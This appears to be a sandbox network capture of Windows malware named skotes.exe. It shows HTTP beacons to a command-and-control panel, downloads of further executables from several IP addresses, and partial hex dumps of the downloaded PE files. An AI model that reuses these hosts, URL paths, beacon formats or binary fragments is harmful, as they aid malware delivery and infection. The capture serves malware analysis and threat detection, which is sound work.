Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49850	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:17.191528082 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 38 30 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1018024001&unit=246122658369
Dec 20, 2024 02:11:18.542212963 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49855	31.41.244.11	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:18.667501926 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 02:11:19.997399092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:19 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 20, 2024 02:11:19.997411013 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:19.997550964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:19.997562885 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 20, 2024 02:11:19.997574091 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 20, 2024 02:11:19.997776985 CET	1236	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 20, 2024 02:11:19.997788906 CET	1236	IN	Data Raw: 89 43 0c 89 7b 1c 8b 4d cc 89 4b 20 47 57 ff 75 c8 50 e8 30 57 00 00 83 c4 0c 8b 45 08 89 43 04 8b 45 0c 89 43 08 8d 7d d8 89 3b e8 9f 00 00 00 83 c4 24 8b 65 c4 83 7f 14 10 72 03 8b 7d d8 c7 06 28 c1 41 00 8d 46 04 31 c9 89 4e 08 89 4e 04 8d 4d Data Ascii: C{MK GWuP0WECEC};$er}(AF1NNM9APQ>@AEr,MxrQ) s>$WQAEFEFM1e^_[]USWV\|$0WB1D$t$<~t
Dec 20, 2024 02:11:19.997798920 CET	1120	IN	Data Raw: e0 89 44 24 04 8b 39 85 ff 75 26 89 ce 89 e1 6a 00 e8 f6 07 00 00 83 3e 00 75 0d a1 80 65 42 00 40 a3 80 65 42 00 89 06 89 e1 e8 0e 08 00 00 8b 3e 8b 4c 24 04 31 e1 e8 bd 04 00 00 89 f8 83 c4 08 5e 5f c3 cc 57 56 8b 7c 24 0c 8b 41 04 39 78 0c 76 Data Ascii: D$9u&j>ueB@eB>L$1^_WV\|$A9xvH4u1xtf9xv@4^_SWV8\$HWB1D$4t\;uW\|$LjGtHESBP_FAPb#3
Dec 20, 2024 02:11:19.997808933 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 20, 2024 02:11:19.997819901 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY
Dec 20, 2024 02:11:20.117125988 CET	1236	IN	Data Raw: 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 04 89 11 5d c3 e9 7b 81 00 00 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 52 50 50 51 e8 45 00 00 00 83 c4 10 c3 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 50 52 50 51 e8 2b 00 00 00 83 c4 10 c3 55 8b ec 8b 45 0c Data Ascii: P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3MVuAW}F;F;GVPRW_^]UQS]VWMw+u;Bv+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49871	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:24.002382994 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 30 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018058001&unit=246122658369
Dec 20, 2024 02:11:25.355349064 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49875	31.41.244.11	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:25.476502895 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 02:11:26.803695917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:26 GMT Content-Type: application/octet-stream Content-Length: 4455936 Last-Modified: Thu, 19 Dec 2024 23:11:05 GMT Connection: keep-alive ETag: "6764a809-43fe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 90 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 b5 00 00 04 00 00 f0 81 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 70 b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 70 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@D@ _asapp pa>(@.rsrcaN(@.idata aP(@ P8aR(@biyvevdcT(@aogmlwgxC@.taggant0"C@
Dec 20, 2024 02:11:26.803800106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:26.803812981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:26.803955078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:26.803966045 CET	1236	IN	Data Raw: b7 2f ed 52 c3 16 2b c2 4e 1e 6e bc 39 de de 62 9b 88 30 7d 9b 04 91 c4 68 5e 4d 36 28 5b a4 4a 76 0f 34 79 45 b8 45 09 51 b0 00 3e 54 a8 05 51 9c aa 6a 4a b9 55 54 c4 1a da 11 c3 6e 18 10 c8 96 f9 16 fc e6 bb 41 2b 70 90 8a 01 e1 1d a2 c4 92 af Data Ascii: /R+Nn9b0}h^M6([Jv4yEEQ>TQjJUTnA+ptW/MUlb0]`C1WAY)zIEs/po4}RA"%>=A)/pRhh/~&$a8i[CGc[~wV)
Dec 20, 2024 02:11:26.803975105 CET	1236	IN	Data Raw: 3b df 73 a2 cf de 6c 27 20 04 30 6f 27 e8 05 fa 53 e1 3d 91 cf 1e ef 7d 50 ad 52 2d 57 10 ab 0d ce d5 0a d4 64 73 32 f3 61 7b ae 1e df 99 4c 3e 3d 79 0d a9 c4 98 c4 51 32 07 94 53 22 50 d7 4e be 5a 11 f0 66 11 1f d6 b6 f8 18 f8 93 81 81 76 de cb Data Ascii: ;sl' 0o'S=}PR-Wds2a{L>=yQ2S"PNZfv#k`BX[a!hM>j Bag3/U/6u7R\|E;)}.(/"3"ZM_Dkf7#@Hi?*YC))]L+JKo(1=17-^
Dec 20, 2024 02:11:26.804356098 CET	1236	IN	Data Raw: 30 dc 08 29 71 41 2f d4 6a 47 1b 65 42 2c f4 24 84 1a dc d8 ec d9 01 1a ff 54 43 22 ed 5f b8 22 07 89 51 60 68 dd 29 6f 7d e8 12 1b b6 8c 79 cf cf 10 7b 88 ee a1 97 19 57 99 a4 0c 4f 45 c5 e4 ae b8 90 c4 eb d6 82 f6 69 f8 a3 63 1c 0f 98 64 22 06 Data Ascii: 0)qA/jGeB,$TC"_"Q`h)o}y{WOEicd"f/LUZc3\|l_B"]2\| nsx/<#3-+L% oPT9`0<.x1Za77@Pxi@AdkT}QG$[^n(lU
Dec 20, 2024 02:11:26.804367065 CET	1236	IN	Data Raw: 72 5d 4f 31 6f 56 97 9f 39 fd 1a c3 f2 a8 19 16 db d8 bd 9a d1 ae 42 05 48 ae 0a d4 98 46 6d 1d 99 07 3b 41 3e 72 f2 f2 17 f8 2c 50 af e5 25 f4 ad 9c 12 c9 b1 1d c8 3f 4d 89 e2 5e 4e a6 d0 a1 b3 b2 6c a8 49 8e 5c 66 23 27 30 ce dd 0d 7b 1b 54 37 Data Ascii: r]O1oV9BHFm;A>r,P%?M^NlI\f#'0{T7> 4f3O`AV$?9[.Y=PD?fY{Hqs;M\|g=ZE6&NQ+uI\|8xLF"[L'!`B"{B[P(pzD*Zv
Dec 20, 2024 02:11:26.804377079 CET	1236	IN	Data Raw: 2f 54 2c 8c cf 31 2d 23 b0 f4 cb 4c e8 f1 53 38 d7 b6 62 44 6c c9 b4 d0 e1 58 59 98 43 52 5e 98 60 81 63 84 0e 6c 1c da f0 e2 ec b8 41 18 98 ca 70 4a 6c b3 93 06 61 9b ab 8c 21 3d d4 f6 87 a4 b6 84 10 75 13 cb 79 54 f6 2a e1 8a 6e 99 72 9b 49 85 Data Ascii: /T,1-#LS8bDlXYCR^`clApJla!=uyTnrIU^H1@olS7\MY5Mq;N;-S?)YZ<gTc.FvO3vf-4`>E.AakT+[(J/gn=AsI]Y\|6axL3D^^
Dec 20, 2024 02:11:26.804387093 CET	1236	IN	Data Raw: e2 b6 78 e5 0c 66 c3 9d 20 70 d7 95 98 98 ac ce e4 3f b1 3b e4 af 7a 76 2b 08 10 fe 37 54 6e 53 3d 74 ad 30 ab d3 03 a9 53 a7 d5 cc f7 38 74 1b d0 a1 d3 6d e9 a2 12 af 77 de 56 95 31 01 3e ef 8f a7 bb cd 9c 92 aa d2 4a 48 91 29 bc 63 db 85 a8 5c Data Ascii: xf p?;zv+7TnS=t0S8tmwV1>JH)c\\?)$)JOJIHIYQw&dSX-$gIC)6)x5H);6CfQZoQ450g`HQ$a-VAmtgAWG2Z
Dec 20, 2024 02:11:26.923424006 CET	1236	IN	Data Raw: 60 89 dc d7 df 85 92 ab 4f f2 1d e6 ad a8 a8 62 57 a1 ef de 18 ca d1 52 53 f8 61 47 a0 6c 14 10 a5 9d 88 4d 67 a9 5c 09 dc 8a f1 80 48 b0 09 f4 bf 57 d4 4e 5e 9f df 3a 22 00 dd 2d 71 3c 53 09 76 67 ea 10 48 9b 6a 22 35 51 c7 6e 01 e7 85 e3 33 5d Data Ascii: `ObWRSaGlMg\HWN^:"-q<SvgHj"5Qn3]y5.c+gQN""$;#>QK!y)X<DGC;WfyvcWuX_17!+1_[;94=QK226NTp;4+;K<U7c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49909	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:36.661860943 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 30 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018059001&unit=246122658369
Dec 20, 2024 02:11:37.997236967 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49917	31.41.244.11	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:38.119863987 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 02:11:39.450007915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:39 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 20, 2024 02:11:39.450021982 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:39.450028896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:39.450120926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:39.450155973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:39.450170994 CET	672	IN	Data Raw: 82 d1 3c 6b f2 a9 3f 64 c4 7d 12 98 22 98 9d a8 1d f9 f0 7a 81 69 65 64 d7 32 b9 b9 68 17 b7 57 43 24 e5 c0 ca 5c 96 de 59 58 1c f0 8e 4d cb c6 81 3b 48 a1 45 bf d5 e0 0e 27 90 8d ce a0 74 9c a4 33 aa 50 44 ef 33 33 c4 66 c7 dc ff f1 b3 aa a6 c7 Data Ascii: <k?d}"zied2hWC$\YXM;HE't3PD33fHM"RP_W&"!E^;vV&/y6{`}O.s?@&28d=j@yd-tm>7r9MM\| tt&1v^!f.&b@kM?[@R
Dec 20, 2024 02:11:39.450181961 CET	1236	IN	Data Raw: a9 6e bf c6 57 cd fd 16 18 29 60 71 e6 87 fe ae 0a 31 f6 7d bc 5a 34 58 b1 d5 e9 11 4b 53 d2 95 01 f1 14 ad 65 79 e2 bc c4 4e ba f6 41 41 c3 dc 33 cd cd 28 81 2d fc ba c5 e5 5e 94 3e 4d ed 7b 9d 42 c2 40 3c 69 e9 b9 91 78 94 ca 8a 45 01 8a 02 d9 Data Ascii: nW)`q1}Z4XKSeyNAA3(-^>M{B@<ixEq9{X64mk%aa-r(Ml':-.AC5`2B[VAd!^iynugK6`tst~\|G61Y5&:`c_}Kz{;\
Dec 20, 2024 02:11:39.450476885 CET	1236	IN	Data Raw: 4f 19 68 44 7e 28 a0 ee 57 21 15 65 5c 65 42 40 68 e8 83 b3 12 68 f5 10 f8 ea 58 71 80 76 79 7c 34 49 b2 f8 50 5e e0 72 38 3a 7d 45 49 9e fe 43 c6 54 9d fb db d1 e5 e1 9c ce f7 da 5e 43 e6 6b ca 0d 58 80 fe eb c8 43 4d 32 41 d1 57 08 ec 89 41 4e Data Ascii: OhD~(W!e\eB@hhXqvy\|4IP^r8:}EICT^CkXCM2AWAN voqpgx8u<~LS>pw_ &wD?ve?JUl^1c'"[w8+QU,CS;TYu=}e6`yaIu>Xyu1?Ft
Dec 20, 2024 02:11:39.450489044 CET	448	IN	Data Raw: 04 d7 74 18 f1 0a 3e 0a 18 15 ea c2 dd 5c f9 c3 01 4d 06 9a fd 3e be 0b 87 a5 7a e1 d9 0e ee c5 c0 cf 91 c8 fb 2e 22 59 f2 18 91 00 37 7b d0 5e a8 f4 b0 ff e8 7b 39 d3 dc b7 0c 99 b9 ce e1 ee 3d c6 f9 94 fc 14 9f d6 14 0b 4b 4f 15 01 78 5b d1 d1 Data Ascii: t>\M>z."Y7{^{9=KOx[X{QIsyIj<g3MN:Dle@ay}&y.=ht}e@\|MseCfC#ryD)D~bY/s0:yA@0[ODs+^
Dec 20, 2024 02:11:39.450767994 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1
Dec 20, 2024 02:11:39.569715977 CET	1236	IN	Data Raw: c4 ab 59 80 52 a9 a6 9d bf d7 f5 7d 4d 34 ba f2 59 a8 5f fe 1d 61 f7 f5 c3 a5 5f c0 7d 4b 25 15 ed 0f 12 91 7a 91 bd 01 86 35 63 94 d5 3f d4 5b 59 39 06 8e c4 c8 a1 8e 2d 85 d6 d8 a6 50 44 c0 03 15 c3 4a 32 39 6e e2 0c 13 39 2d 10 6a ba 10 b3 6f Data Ascii: YR}M4Y_a_}K%z5c?[Y9-PDJ29n9-jo2`lAn9YtYnnN/\W>Bl,)f*:,^@S8@@(jau5rc6,O[t\JNK$G556JaoJtND\|'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49923	185.215.113.16	80	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:40.081913948 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 02:11:41.424447060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:40 GMT Content-Type: application/octet-stream Content-Length: 2798080 Last-Modified: Fri, 20 Dec 2024 00:38:50 GMT Connection: keep-alive ETag: "6764bc9a-2ab200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 5a cf 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS 